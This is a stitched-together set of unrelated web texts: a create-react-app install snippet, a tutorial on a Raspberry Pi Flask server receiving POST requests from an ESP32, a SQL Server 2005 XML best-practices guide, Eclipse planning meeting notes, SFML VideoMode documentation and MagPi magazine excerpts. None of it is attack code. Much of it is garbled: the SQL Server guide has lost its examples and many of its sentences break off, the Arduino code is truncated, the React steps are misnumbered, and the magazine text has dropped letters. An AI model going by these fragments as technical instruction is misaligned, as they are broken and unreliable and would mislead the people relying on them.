Now, you have to generate the bundle for app created. Bundling will process imported files and merging them into a single file: a “bundle”. This bundle can then be included on a webpage to load an entire app at once. To generate this, you have to run below given build command in command prompt.
npm run build
If you want to install react without going in the process of installing webpack and babel, then you can choose this command create-react-app to install react. The ‘create-react-app‘ is a tool maintained by Facebook itself. This is suitable for beginners without manually having to deal with transpiling tools like webpack and babel. So, let’s understand how to install React using CRA tool.
Step 1: Install NodeJS and NPM
Step 1: Create a new React project (my-reactapp)
Step 3: npx create-react-app my-reactapp
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Introduction
In this tutorial we will check how to setup a simple Flask server on the Raspberry Pi and send HTTP POST requests to it from the ESP32. Then, we will access the body of the request on the Raspberry Pi.
If you are looking for a similar tutorial but to send HTTP GET requests from the ESP32 instead, please check here. For a detailed tutorial on how to send HTTP POST requests from the ESP32, please consult this previous post..
The Python code
The Python code for this tutorial is very similar to what we have been covering before. As usual, we start by importing the Flask class from the flask module, to setup the whole HTTP server.
Additionally, we will need to import the request object from the flask module, so we can later access the body of the request sent by the client.
After the imports, we need to create an instance of the Flask class.
from flask import Flask, request app = Flask(__name__)
Now that we have our app object, we can proceed with the configuration of the routes of the server. We will have a single route called “/post”, since we are going to test it against POST requests. Naturally, you can call it what you want, as long as you use the endpoint you defined in the client code.
Additionally, we will also limit the actual HTTP methods that this route accepts. You can check a more detailed guide on how to do it on this previous post.
This will ensure that the route handling function will only be executed when the client makes a POST request.
@app.route('/post', methods = ["POST"]) def post():
The route handling function will be very simple. We will just access the body of the request to print it and then return an empty answer to the client. Note that it is common that the answer of a POST request does not contain any content, since a success HTTP response code is, in many cases, enough for the client to know the operation was executed.
So, to get the actual request body, we simple need to access the data member of the request object. We will simply print the result so we can later confirm it matches the content sent by the client.
After that, as already mentioned, we return the response to the client, with an empty body.
print(request.data) return ''
To finalize and to start listening to incoming requests, we need to call the run method on our app object. As first input we pass the ‘0.0.0.0’ IP, to indicate the server should be listening in all the available IPs of the Raspberry Pi, and as second input we pass the port where the server will be listening.
The full Python code for the Raspberry Pi is shown below.
from flask import Flask, request app = Flask(__name__) @app.route('/post', methods = ["POST"]) def post(): print(request.data) return '' app.run(host='0.0.0.0', port= 8090)
The Arduino code
We start with the includes of the libraries we will need to both connect the ESP32 to a wireless network and also to make the HTTP POST requests. These are the Wifi.h and the HTTPClient.h libraries, respectively.
We will also need to declare the credentials to connect to the WiFi network, more precisely the network name and the password.
Then, in the Arduino setup function, we take care of connecting the ESP32 to the WiFi network.
"); }
The HTTP POST requests will be performed on the Arduino main loop function. To be able to perform the requests, we will need an object of class HTTPClient.
HTTPClient http;
Now, we need to call the begin method on our HTTPClient object, to initialize the request. As input of the method, we need to pass the endpoint to which we want to send the request.
The destination endpoint will be composed by the IP of the server, the port where it is listening and the route we want to reach. The port was specified in the Python code and it is 8090. The route is “/post“, which was also specified in the Python code.
To get the local IP address of the Raspberry Pi, the simplest way is opening a command line and sending the ifconfig command, as explained in greater detail here.
Also, take in consideration that both the ESP32 and the Raspberry Pi need to be connected to the same WiFi network for the code shown in this tutorial to work.
http.begin("");
Since we are sending a POST request, we need to specify the content-type of the body, so the server knows how to interpret it. In this introductory example, we will send just a “Hello World” string, which means we can define the content-type as plain text.
The content-type is sent in the request as a header, which we can specify by calling the addHeader method of the HTTPClient object. This method receives as first input the name of the header and as second input its value.
http.addHeader("Content-Type", "text/plain");
To send the actual request, we need to call the POST method on the HTTPClient object, passing as input the body of the request, as a string.
Note that this method returns as output the HTTP response code in case the request is successfully sent. Otherwise, if an internal error occurs, it returns a number lesser than zero that can be used for error checking.
int httpResponseCode = http.POST("POSTING from ESP32");
In case of success, we simply print the returned HTTP code, just to confirm that the request was correctly received by the Flask server.
Serial.println(httpResponseCode);
To finalize, we call the end method on the HTTPClient, to free the resources.
http.end(); //Free resources
You can check the final code below. Note that it includes some additional checks to ensure we are sending the request only if the ESP32 is still connected to the WiFi network, and also to confirm the HTTP Post request was sent with success and no internal error has occurred.
){ //Check WiFi connection status HTTPClient http; http.begin(""); http.addHeader("Content-Type", "text/plain"); int httpResponseCode = http.POST("POSTING from ESP32"); //Send the actual POST request if(httpResponseCode>0){ Serial.println(httpResponseCode); }else{ Serial.println("Error on sending POST"); } http.end(); //Free resources }else{ Serial.println("Error in WiFi connection"); } delay(10000); //Send a request every 10 seconds }
Testing the code
To test the code, first run the Python code to start the server. After that, compile and upload the Arduino code to the ESP32, using the Arduino IDE.
Once the procedure finishes, open the Arduino IDE serial monitor. After the ESP32 is connected to the WiFi network, it should start sending the requests to the Flask server and printing the result status code, as shown below at figure 1.
Figure 1 – HTTP status code returned by the server to the ESP32.
If you go back to the Python prompt where the Flask server is running, you should get a result similar to figure 2, where it shows the messages sent by the ESP32 getting printed.
Figure 2 – ESP32 messages printed on the Flask server, running on the Raspberry Pi.
Related posts
- Raspberry Pi Flask: Receiving HTTP GET Request from ESP32
- Raspberry Pi 3 Raspbian: Exposing a Flask server to the local network
- Raspberry Pi 3: Getting the local IP address
- Raspberry Pi 3 Raspbian: Running a Flask server
- ESP32: HTTP GET Requests
- ESP32 Arduino: HTTPS GET Request
- ESP32 Arduino: HTTP POST Requests to Bottle application
- ESP32: HTTP POST Requests
2 Replies to “Raspberry Pi 3 Flask: Receiving HTTP POST Request from ESP32”
Hello thank you so much for this, really helping out my home project. I have one question. I’m trying to take the “POSTING from ESP32” and putting it into a text file. I can open a text file and write my own string to it, but cant get the “POSTING from ESP32” to go into the text file. What do I need to put into the f.write() to make this happen?
Thank you
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Hi,
You’re welcome 🙂
That’s weird, writing to a file should be very simple in Python. Are you opening the file in write mode, when calling the open function? Also, are you closing the file at the end?
I think this should be enough:
f = open(“yourFile”, “w”)
f.write(request.data)
f.close()
What happens to the file you try to write? Does it stay empty?
Best regards,
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XML Best Practices
SQL Server 2005. These supports have been extended in SQL Server 2005. Together with the newly added native XML support, SQL Server 2005 provides a powerful platform for developing rich applications for semi-structured and unstructured data management.
This topic provides guidelines for XML data modeling and use in SQL Server 2005. It is divided into the following sections:
- Data modeling
XML data can be stored in multiple ways in SQL Server 2005 by using native xml data type and XML shredded into tables. This topic provides guidelines for making the appropriate choices for modeling your XML data. It also covers indexing XML data, property promotion, and typing of XML instances.
- Use
This section discusses use-related topics, such as loading XML data into the server and type inference in query compilation. This section also explains and differentiates closely related features and suggests appropriate use of these features. These are illustrated with examples.
This section outlines the reasons why you should use XML in SQL Server 2005. The section also provides guidelines for choosing between native XML storage and XML view technology, and gives data modeling suggestions. 2005
Following are some of the reasons to use native XML features in SQL Server 2005 2005 include the following:
- Native storage as xml data type
The data is stored in an internal representation that preserves the XML content of the data. This includes.
This section discusses data modeling topics for native XML storage. These include indexing XML data, property promotion, and typed xml data type.
Same or Different Table
An xml data type column can be created in a table that contains.
- You want to build an XML index on the xml data type column and the primary key of the main table is the same as its clustering key. For more information, see Indexing an xml Data Type Column.
Create the xml data type column in a separate table if the following conditions are true:
- You want to build an XML index on the xml data type column, but the primary key of the main table is different from its clustering key, or the main table does not have a primary key, or the main table is a heap (no clustering key). This may be true if the main table already exists.
- You do not want table scans to slow down because of the presence of the XML column in the table. This uses space whether it is stored in-row or out-of-row. 2005,.
Untyped, Typed, and Constrained xml Data Type
The SQL Server 2005 the xml data type implements the ISO SQL-2003 unsupported at the server (for example, key/keyref)..
Besides typing an XML column, you can use relational (column or row) constraints on typed or untyped xml data type columns. Use constraints in the following situations:
- enforcement of the ID of a Customer (/Customer/@CustId) found in an XML instance to match the value in a relational CustomerID column.
Document Type Definition (DTD).
Indexing an xml Data Type Column
XML indexes can be created on xml data type columns. It indexes all tags, values and paths over the XML instances in the column and benefits.
The first index on an XML column is the primary XML index. In using it, three types of secondary XML indexes can be created on the XML column to speed up common classes of queries, as described in the following section.
Primary XML Index
This indexes all tags, values, and paths within the XML instances in an XML column. The base table,, and return scalar values or XML subtrees by using the index itself.
Example: Creating a Primary XML Index
Table T (pk INT PRIMARY KEY, xCol XML) with an untyped XML column is used in most of the examples. These can be extended to typed XML in a straightforward way. For more information about how to use typed XML, see xml Data Type.) For simplicity, queries are described for XML data instances as shown in the following:
The following statement creates an XML index, called idx_xCol, on the XML column xCol of table T:
Secondary XML Indexes
After the (value, path) pair of each node in document order across all XML instances in the XML column.
Following are some guidelines for creating one or more of these".
Example: Path-based Lookup
For illustration, assume that the following query is common in your workload:
The path expression /book/@genre and the value "novel" corresponds to the key fields of the PATH index. As a result, secondary XML index of type PATH is helpful for this workload:
Example: Fetching (//) specifies a partial path so that the lookup based on the value of ISBN benefits from the use of the VALUE index:
The VALUE index is created as follows:
Full-Text Index on an XML Column
You can create a full-text index on XML columns that indexes the content of the XML values, but ignores the XML markup. Attribute values are not full-text indexed, because they are considered part of the markup, and element tags are used as token boundaries. When possible, you can combine full-text search with XML index in the following way:
- First, filter the XML values of interest by using SQL full-text search.
- Next, query those XML values that use XML index on the XML column.
Example: Combining Full-text Search with XML Querying
After the full-text index has been created on the XML column, the following query checks that an XML value contains the word "custom" in the title of a book:.
Example: Full-text Search on XML Values Using Stemming
The XQuery contains() check that was performed in the previous example generally cannot be eliminated. Consider this query:.
Property Promotion:
Add a computed column to the table for the ISBN:
The computed column can be indexed in the usual way.
Example: Queries on a Computed Column Based on xml Data Type Methods
To obtain the <
book> whose ISBN is 0-7356-1588-2:
The query on the XML column can be rewritten to use the computed column as follows: the authors. Books have one or more authors, so that first name is a multivalued property. Each first name is stored in a separate row of a property table. The primary key of the base table is duplicated in the property table for back join.
Example: Create.
Example: Create Triggers to Populate a Property Table
The insert trigger inserts rows into the property table:
The delete trigger deletes the rows from the property table based on the primary key value of the deleted rows: First Name of "David"
The query can be formed on the XML column. Alternatively, it can search the property table for first name "David" and perform a back join with the base table to return the XML instance. For example: is used to define the table-valued function, CLR_udf_XML2Table, for rowset generation:
Finally, define triggers as shown in the example, "Create triggers to populate a property table", but replace udf_XML2Table with the CLR_udf_XML2Table function. The insert trigger is shown in the following example:
The delete trigger is identical to the non-CLR version. However, the update trigger just replaces the function udf_XML2Table() with CLR_udf_XML2Table().
XML Schema Collections
An XML schema collection is a metadata entity that is scoped by a relational schema. It contains one or more XML schemas that may be related, such as through <xs:import>), or that may be unrelated. Individual XML schemas within an XML schema collection are identified by using their target namespace.
An XML schema collection is created by using CREATE XML SCHEMA COLLECTION (Transact-SQL) syntax and providing one or more XML schemas. More XML schema components can be added to an existing XML schema, and more schemas can be added to an XML schema collection by using ALTER XML SCHEMA COLLECTION (Transact-SQL) syntax. XML schema collections can be secured like any SQL object by using the security model in SQL Server 2005.
Multi-Typed Column
An XML schema collection C types an XML column, xCol, according to multiple XML schemas. Additionally, the DOCUMENT and CONTENT flags specify whether XML trees or fragments, respectively, can be stored in column xCol.
For DOCUMENT, each XML instance specifies the target namespace of its top-level element in the instance, and which is typed and validated according to it.. For illustration, assume that you add an XML schema with target namespace BOOK-V1 to an XML schema collection C. An XML column, xCol typed by using C, can store XML data that conforms to the BOOK-V1 schema.
Next assume that an application wants to extend the XML schema with new schema components, such as complex type definitions and top-level element declarations. These new schema components can be added to the BOOK-V1 schema and do not require revalidation of the existing XML data in column xCol.
Assume that the application later wants to provide a new version of the XML schema and it selects the target namespace BOOK-V2. This XML schema can be added to C. The XML column can store instances of both BOOK-V1 and BOOK-V2, and execute queries and data modification on XML instances that conform to these namespaces.
Transferring XML Data from SQL Server 2000 to SQL Server 2005
You can transfer XML data to SQL Server 2005 in several ways. For example:
- If you have your data in an [n]text or image column in a SQL Server 2000 database, you can import the table into a SQL Server 2005 database by using SQL Server 2005 Integration Services (SSIS). Change the column type to XML by using the ALTER TABLE statement.
- You can bulk copy your data from SQL Server 2000 by using bcp out, and then bulk insert the data into the SQL Server 2005 database by using bcp in.
- If you have data in relational columns in a SQL Server 2000 SQL Server 2005 database. You can choose to write the XML into an XML column in the SQL Server 2005 database directly.
Example: Changing Column Type to XML
Bulk loading XML data.
Text Encoding
SQL Server 2005.
XQuery embedded in Transact-SQL is the language that is supported for querying xml data type. The language is in development by the World Wide Web Consortium (W3C), with Microsoft all major database vendors participating. It includes XPath version 2.0 as the navigation language. Language constructs for data modification are also available on the xml data type. For more information about the XQuery constructs, functions, and operators supported in SQL Server, see XQuery Functions Against the xml Data Type.
Error Model.
The following sections describe type checking in more detail.
Singleton Checks.
Parent Axis
If the type of a node cannot be determined, it becomes anyType. This is not implicitly cast to any other type. This occurs most notably during navigation by using the parent axis, for example, xCol.query('/book/@genre/../price'). The parent node type is determined to be anyType. An element may also be defined as anyType in an XML schema. In both cases, the loss of more precise type information frequently leads to static type errors and requires explicit casting of atomic values to their specific type.
Data(),text() and string() Accessors
XQuery has a function fn:data() to extract scalar, typed values from nodes, a node test text() to return text nodes, and the function fn:string() that returns the string value of a node. Their use can be confusing. Following are the guidelines for using them correctly in SQL Server 2005. The XML instance <age>12</age> is used for the purpose of illustration.
- Untyped XML: The path expression /age/text() returns the text node "12". The function fn:data(/age) returns the string value "12" and so does fn:string(/age).
- Typed XML: The expression /age/text() returns a static error for any simple typed <age> element. On the other hand, fn:data(/age) returns integer 12. The fn:string(/age) yields the string "12".
Functions and Operators Over Union. SQL Server 2005 requires "cast as" with "?", because any cast can cause the empty sequence as a result of run-time errors.
Value(), Nodes(), and OpenXML()
You can use multiple value() methods on xml data type in a SELECT clause to generate a rowset of extracted values. The nodes() method yields an internal reference for each selected node that can be used for additional query. The combination of the nodes() and value() methods can be more efficient in generating the rowset when it has several columns and, perhaps, when the path expressions used in its generation are complex.
The nodes() method yields instances of a special xml data type, each of which has its context set to a different selected node. This kind of XML instance supports query(), value(), nodes(), and exist() methods and can be used in count(*) aggregations. All other uses cause an error.
Example: Using nodes()
Assume that you want to extract the first and last names of authors, and the first name is not "David". Additionally, you want to extract this information as a rowset that contains two columns, FirstName and LastName. By using nodes() and value() methods, you can accomplish this as shown in the following:
In this example,
nodes('//author') yields a rowset of references to
<author> elements for each XML instance. The first and last names of authors are obtained by evaluating value() methods relative to those references.
SQL Server 2000 provides the capability for generating a rowset from an XML instance by using OpenXml(). You can specify the relational schema for the rowset and how values inside the XML instance map to columns in the rowset.
Example: Using OpenXml() on the xml Data Type
The query can be rewritten from the previous example by using OpenXml() as shown in the following. This is done by creating a cursor that reads each XML instance into an XML variable and then applies OpenXML to it:
DECLARE name_cursor CURSOR FOR SELECT xCol FROM T. It relies on the XPath version 1.0 processor of MSXML version 3.0 remaining XML value in a separate, "overflow" column.
The combination of nodes() and value() functions uses XML indexes effectively. As a result, this combination can exhibit more scalability than OpenXml.
You can generate an xml data type instance from a rowset by using FOR XML with the new TYPE directive.
The result can be assigned to an xml data type column, variable, or parameter. Also, FOR XML can be nested to generate any hierarchical structure. This makes nested FOR XML much more convenient to write than FOR XML EXPLICIT, but it may not perform as well for deep hierarchies. FOR XML also introduces a new PATH mode. This new mode specifies the path in the XML tree where a column's value appears.
The new FOR XML TYPE directive can be used to define read-only XML views over relational data with SQL syntax. The view can be queried with SQL statements and embedded XQuery, as shown in the following example. You can also refer to these SQL views in stored procedures.
Example: SQL View Returning Generated xml Data Type
The following SQL view definition creates an XML view over a relational column, pk, and book authors retrieved from an XML column:
The V view contains a single row with a single columnxmlVal of XML type
. It can be queried like a regular xml data type instance. For example, the following query returns the author whose first name is "David":
SQL view definitions are somewhat similar to XML views that are created by using annotated schemas. However, there are important differences. The SQL view definition is read-only and must be manipulated with embedded XQuery. The XML views are created by using annotated schema. Additionally, the SQL view materializes the XML result before applying the XQuery expression, while the XPath queries on XML views evaluate SQL queries on the underlying tables.
Adding Business Logic.
Example: Applying XSL Transformation.
SQLCLR expands the possibilities for decomposing XML data into tables or property promotion, and querying XML data by using managed classes in the System.Xml namespace. For more information, see SQL Server Books Online and the .NET Framework SDK documentation.
When your data resides in a combination of relational and xml data type columns, you may want to write queries that combine relational and XML data processing. For example, you can convert the data in relational and XML columns into an xml data type instance by using FOR XML and query it by using XQuery. Conversely, you can generate a rowset from XML values and query it the values from a relation column in your XQuery or XML DML expression.
These two approaches enable applications to parameterize queries, as shown in the next example. However, XML and user-defined types are not permitted in sql:variable() and sql:column().
Example: Cross-domain Query Using sql:variable()
The following query is a modified version of the one shown in "Example: Queries on a Computed Column Based on xml Data Type Methods". In the following version, this particular ISBN is passed in by using a SQL variable @isbn. By replacing the constant with sql:variable(), the query can be used to search for any ISBN and not just the one whose ISBN is 0-7356-1588-2.
sql:column() can be used in a similar manner and provides additional benefits. Indexes over the column may be used for efficiency, as decided by the cost-based query optimizer. Also, the computed column may store a promoted property.
Catalog views exist to provide metadata information about XML use. Some of these are discussed in the following section..
Retrieving XML Schema Collections the predefined XML schemas.
You can enumerate the contents of an XML schema collection in the following ways:
- Write Transact-SQL queries on the appropriate catalog views for XML schema collections.
- Use the built-in function XML_SCHEMA_NAMESPACE(). You can apply xml data type methods on the output of this function. However, you cannot modify the underlying XML schemas.
These are illustrated in the following examples.
Example: Enumerate the XML Namespaces in an XML Schema Collection
Use the following query for the XML schema collection "myCollection":
Querying XML Schemas.
ReferenceManaging XML Schema Collections on the Server
XQuery Functions Against the xml Data Type
Conceptsxml Data Type
Other Resourcessys.dm_db_index_physical_stats
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Difference between revisions of "Planning Council/August 7 2013"
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- For reference, see current policy.
- It was thought this one deviation was a "fluke" and no systematic action needed; that for the most part, everyone understands
- a) can't release code under another project's namespace (can "include" it, if previously released)
- b) if unreleased code is desired to use (it is, after all, EPL) you must "refactor" it into your own namespace, following the usual rules of attribution, maintaining copyright info, etc.
- Are we "too lax" in versioning requirements? Especially for "maintenance"? See cross-project list posting. [To be honest, I do not recall what specific situation this is about?]
- Ed explained the situation to us (involved versioning issues between XText and UML2) and it too sounded like a rare case that did not need to be "policed". But does highlight the importance of correct semantic versioning and not "adding features" with a mere "service increment".
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- * See Luna/Simultaneous_Release_Plan.
- Most favored completing M6 before EclipseCon, even though that is the "API Freeze milestone". DW to workout that schedule in time for reps to review with their projects before September meeting (and alternatives, if any seem to exist).
-.]
- It was generally agreed we should continue status quo of "leaving it up to project" ... let their adopters and community drive any changes needed/desired. Primarily, simply not to "add process or rules" to what many think is already too many rules and processes and additionally, it was commented, it is hard to "draw the line" ... what about "types of documentation", or "examples" ... i.e. there is no one answer that fits all projects.
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- This item had a long discussion, covering many area, and for the most part, the status quo will be maintained for now.
- A couple of things seemed to be agreed upon:
- 1) This is not something to change "this year" ... something longer term ... but, we need to continue the discussion and sort out the issues and solve them in some manner.
- 2) Other groups/projects are leaning towards "continuous delivery", why not us? (Or, do we already? :)"
- 3) The _main_ issue (in terms of "deliverables") -- I came to understand -- are the "EPP packages". That is, there is nothing preventing projects from releasing any time they would like to ... but the desire is that they'd like EPP packages updated at the same time. Otherwise, only "in-the-know" product adopters and a few savvy users know how to go to a project-specific repo to get updates (or, "new installs"). And ... some on planning council see that as a bad thing (ha ha ... mostly my humor :) ... but ... there are two sides to that story).
- 3) There appeared to be agreement that something like "monthly releases" was not feasible ... too many places for it to "go wrong" or cause lots of additional work for projects (or, suffer from reduced quality). [This was not literally discussed at meeting, but to add an editorial remark ... It seems hard enough to come out with 6 week milestones. It is unclear if anyone actually needed something as frequent as monthly or 6 week releases ... or if it was more a "marketing" thing? If so, could there be more/better/easier ways to "hype" milestones to get equivalent interest? If the desire really is so projects/adopters could release "whenever they were ready", then I'll just point out there is a lot of hidden assumptions being made in that case that in reality would cause the same headaches the "release train" is meant to solve -- primarily, it might appear to work fine the first time through, if everyone goes in order, but then suddenly a recent release, say of a commercial product, can not update a few months later to get the latest of some pre-req, due to some new feature/non-API use/deprecated API removal, subtle change in behavior, etc, and then they end up having to wait 4 to 12 months anyway to get the fixes needed so they can "get on" that, now old, version of the pre-req ... and perhaps by then that pre-req no longer works with some other pre-req that has since released. So, point is, anyone who really desires this needs to think through the hidden (long term) assumptions and "solve" them.] But, in general, "a mass repository" that may or may not work together did not seem to get much excitement from Planning Council, if I was hearing correctly.
- A couple of items seemed to have very different points of view:
- 1) Is it a good thing to encourage "frequent feature/API updates" or a bad thing? Examples were given on both sides. On the one hand, it can be "hard on" adopters to react, if there are large changes requiring adopters to do a lot of re-testing/translating/marketing, etc. But, everyone sees the advantages of it, especially for a "young" project like EGit where they needed lots of quick improvements to be complete, and useful.
- 2) An interesting, contrasting, case was made about "core components" vs. "leaf components". To some, it seems clear that something like the core platform should only apply maintenance for SR1 and SR2 (to ensure only steady improvements in quality) but on the other hand, there are times that changes in the core platform is exactly what other projects want, such as CDT, ... such as having a new set of APIs added that allows them to come out with a better (from their point of view) off-cycle release even though "new API" can have unpredictable effects on other adopters. Hard problem to solve. [Just thinking aloud, perhaps some special versioning conventions and tight p2 constraints could allow relatively safe "forks" of something like core platform APIs, without impacting adopters that were not interested? In essence, CDT would release their own forked version of the platform ... just thinking out loud ... not a serious proposal.]
- 3) Not to mention, sometimes even the core Platform may want to add a new feature "off-cycle", such as if a new version of Java comes out "mid-year", perhaps they'd want to add "preliminary support" for it in SR2? Perhaps those types of cases provides some hint of how to codify the practice of adding features in a "service release" ... when ever possible, they should be done as "optional", additional features that adopters can take or leave. Not sure how to do that with core API changes, though ... short lived fragments that adopters can take or leave?
- So, lots to (continue to) discuss. Perhaps fundamentally, what does "continuous delivery" mean for something consisting of 60-70 projects?
- Dani did state that the Eclipse PMC discussed explicitly, and they want to keep the status quo. Even the names "Service Release". That while new features can be allowed in SR1 and SR2 (as per our existing policy) that it is not something to "encourage", in their view, ... they should be the exception rather than the rule ... and the focus on SRs should be on improving quality, not adding new features. (hard to do both, with fixed resources ... or, more accurately, without vastly increased resources :). New features should be "exposed" to public in a number of milestones, before released. [To editorialize again, perhaps we need to do a better job of encouraging use of milestones? I think some believe that a "release" is the only thing consumers/users will use enough to provide adequate feedback on a new feature.]
- Doug did state explicitly that his "focus on IDE" efforts (and probable working group) were a whole separate issue and not in the Planning Council realm. (whew)
- "project input" is required?
- What type of "testing" is done that all is well formed and can be installed together and is repeatable?
- In particular, how are "IDE" vs "runtime only" components treated separately?
- What are concrete advantages?
- Doug said he would try to work on some prototypes. But (if I heard him over the spotting phone connection correctly) this wouldn't be anything to prevent planning to use the b3 aggregator approach as we have been and continue with that until we know something more concrete, and then would be the time to re-discuss). The approach (again, if I heard right) basically makes use of a series of Jenkins (or Hudson) jobs, one successful job triggering the next, and progressively "building up" the repository. (I think is how he briefly described it). [Doug, please correct if I mis-heard any of this ... we didn't spend much time on it.]")]
- There were no "in-meeting" updates to any of these items, except Dani said they should start the editing during M2.
Kepler Retrospective
- Propose to start in August (if any extra time), finish in September.
- No time for a retrospective, per se, we'll try again in September ... please discuss with your projects or members you represent to see if there is anything we should document about "what worked" and "what didn't work".. | http://wiki.eclipse.org/index.php?title=Planning_Council/August_7_2013&diff=prev&oldid=345301 | CC-MAIN-2016-22 | refinedweb | 1,507 | 70.63 |
VideoMode defines a video mode (width, height, bpp) More...
#include <VideoMode.hpp>
VideoMode defines a video mode (width, height, bpp)
A video mode is defined by a width and a height (in pixels) and a depth (in bits per pixel).
Video modes are used to setup windows (sf::Window) at creation time.
The main usage of video modes is for fullscreen mode: indeed you must use one of the valid video modes allowed by the OS (which are defined by what the monitor and the graphics card support), otherwise your window creation will just fail.
sf::VideoMode provides a static function for retrieving the list of all the video modes supported by the system: getFullscreenModes().
A custom video mode can also be checked directly for fullscreen compatibility with its isValid() function.
Additionally, sf::VideoMode provides a static function to get the mode currently used by the desktop: getDesktopMode(). This allows to build windows with the same size or pixel depth as the current resolution.
Usage example:
Definition at line 41 of file VideoMode.hpp.
Default constructor.
This constructors initializes all members to 0.
Construct the video mode with its attributes.
Get the current desktop video mode.
Retrieve all the video modes supported in fullscreen mode.
When creating a fullscreen window, the video mode is restricted to be compatible with what the graphics driver and monitor support. This function returns the complete list of all video modes that can be used in fullscreen mode. The returned array is sorted from best to worst, so that the first element will always give the best mode (higher width, height and bits-per-pixel).
Tell whether or not the video mode is valid.
The validity of video modes is only relevant when using fullscreen windows; otherwise any video mode can be used with no restriction.
Overload of != operator to compare two video modes.
Overload of < operator to compare video modes.
Overload of <= operator to compare video modes.
Overload of == operator to compare two video modes.
Overload of > operator to compare video modes.
Overload of >= operator to compare video modes.
Video mode pixel depth, in bits per pixels.
Definition at line 104 of file VideoMode.hpp.
Video mode height, in pixels.
Definition at line 103 of file VideoMode.hpp.
Video mode width, in pixels.
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The official Raspberry Pi magazine OUR SPECIAL 50TH ISSUE! hen I was planning the relaunch of The MagPi as the official Raspberry Pi magazine some 20 issues ago, I was determined that the community should remain very much at the heart of the magazine. One of the earliest regular features we settled on in this regard was the Project Showcase, which was designed to highlight some of the most impressive projects and their makers. Over the last 18 months, the Project Showcase section has become a firm favourite with readers, so it made sense for us to celebrate our 50th issue with a countdown of 50 of the greatest Raspberry Pi projects ever made. You’ve been voting in your thousands to help us decide the running order for the business end of our feature, and we’ve got some added glitz and glamour courtesy of special guest judges Liz and Eben Upton and Philip Colligan, CEO of the Raspberry Pi Foundation, among others. So grab some refreshments, find a comfy seat, and strap in for the countdown you’ve all been waiting for! Enjoy our 50th issue.
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> SONIC PI: PRACTICE Practice makes perfect when you’re putting on a show
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USB AND ETHERNET BOOTING Use the new Raspberry Pi 3 features to boot without an SD card
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Above Everything you need to get started with your Raspberry Pi
ADVENTURES IN RASPBERRY PI The Raspberry Pi Starter Kit comes with Carrie Anne Philbin’s Adventures in Raspberry Pi book to help get you coding with your brand new Raspberry Pi. It comes with nine projects that teach you how to ‘talk to’ your Raspberry Pi, create games and stories with Scratch, program turtles with Python, and create a Raspberry Pi jukebox. It’s written for 11- to 15-year-olds, but if you’re a bigger kid you might be able to get something out of it if you’re starting out as well.
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he Raspberry Pi has been around for four and a half years now, and yet it’s only fairly recently that there have been official accessories for it such as the case and the WiFi adapter. However, that’s all changing now with the announcement of the Raspberry Pi Starter Kit, a complete set of bits and pieces to get your new computer going without hunting down a USB mouse in your spare parts box. The starter kit has been described as “unashamedly premium” by Eben. It includes official accessories where there are some, such as the case, while everything that’s not official is the best version that could be found. The kit was announced alongside the revelation that ten million Raspberry Pis had been sold – you can read more about that on page 10 – and is available to buy right now for £99 from Element14
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IN THE BOX > A Raspberry Pi 3 Model B > An 8GB NOOBS micro SD card > An official case > A n official 2.5A multi-region power supply > An official 1m HDMI cable > O fficial optical mouse and keyboard with high-quality scissor-switch action > A copy of Adventures in Raspberry Pi Foundation Edition (magpi.cc/2cCT8pk) and RS Components (magpi.cc/2cCUalq). We can vouch for the quality of many of the items in the kit (we do especially love the official case), and it could be the ultimate stocking stuffer for a code-inquisitive kid come Christmas in only a couple of months’ time. raspberrypi.org/magpi
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HELPS HEART FAILURE PATIENTS The new Pi-powered medical device watches your feet to see whether or not you need medical care eart
Here’s a report from a study made with the device in a Cambridge care home with a 75-year-old patient:
hospitalisation for people aged over 65. What costs the NHS so much money is that half of these people will regularly require emergency visits; however, many of these (about 75%) could be avoided altogether if patients would report the symptoms leading to a visit. The Heartfelt device watches patients’ feet as they get out of bed in the morning, to detect if there’s any change in swelling or abnormal cardiovascular activity. It’s that simple, and the device could save the NHS a whole lot of money.
“She thought that the idea was good, and that it didn’t appear too intrusive. However, she had two concerns: the first one is that the system would take X-rays and she has heard that this may be bad for her health. [When] explained that this was like a video camera taking images, she was perfectly happy with that. The other concern was that the device had an aluminium front to it, and she didn’t like the look of it at all, as it wouldn’t look nice in her room. She would prefer a wood panel or even a nice flower pattern. She had no concerns about a camera being installed to look at her feet, as she said that living in a care home, carers come in and out of the room quite a lot, so she doesn’t feel that this is a privacy issue. If this had helped her to stay home longer, she would definitely have installed this, as she doesn’t like being in a care home.”
A simple-looking device that sits low on your wall to make sure you don’t need to go to the hospital
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PI-POWERED DNA IMAGING The world’s first DNA gel imager that’s powered by Raspberry Pi he Heartfelt monitor isn’t the only medical device powered by Pi this month: there’s also the Syngene NuGenius, which promises to be an affordable DNA image analyser that could help detect genes that cause certain diseases. Here’s some of the important info: “Complete with a highresolution 5MP camera, UV filter, and integrated Raspberry Pi
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Camera: 5 million pixels Sensor: 1/2.5 inch Bit depth: 12/16-bit Greyscale: 0-65,536 Lens: 8-48mm f1.2 Viewing area: 20×24cm Display: 7˝ touchscreen Image capture: Yes GeneTools analysis: Yes Weight: 20kg Dimensions: 75×31×45cm Dynamic range: 3.6/4.8 (extended) Slim transilluminator 20×24cm: Optional extra Blue converter screen 21×26cm: Optional extra Visible light converter: Optional extra White epi: Optional extra GeneDirector: Optional extra
an external computer, with the system able to offer annotation and editing features. Images can easily be saved for a more detailed analysis on another computer, though. “To our delight, we found that the processor is so powerful that it could easily run all the applications for imaging a DNA gel,” says Dr Lindsey Kirby, product manager at
The processor is so powerful that it could easily run all the applications cancer.” The benefit of using a Raspberry Pi in the device is that it doesn’t need to connect to raspberrypi.org/magpi
Syngene, about why they used the Raspberry Pi. “We then did some hardware and software redesign around the Raspberry Pi and produced the exciting NuGenius imager, which is simple enough for even schoolchildren to use.” To find out more about the NuGenius, check out the Syngene site for detailed information: magpi.cc/2cBughI. Right The complete device, able to take high-resolution images of DNA gel
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10 MILLION RASPBERRY PIS SOLD Shortly after becoming the bestselling British computer of all time, Raspberry Pi hits another incredible milestone
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n 8 September, Eben Upton revealed in a blog on the Raspberry Pi website that the Raspberry Pi had crossed the ten million sales line. This amazing achievement comes only a few months after the Raspberry Pi 3 launch, where it was revealed the Pi had become the bestselling British computer of all time after selling more than eight million units. A small celebration was held at the Palace of Westminster, more commonly known as the Houses of Parliament, at the invitation of the Right Honourable Matthew Hancock MP. Matthew is the Minister of State for Digital and Culture, and is responsible for digital policy. Members of the
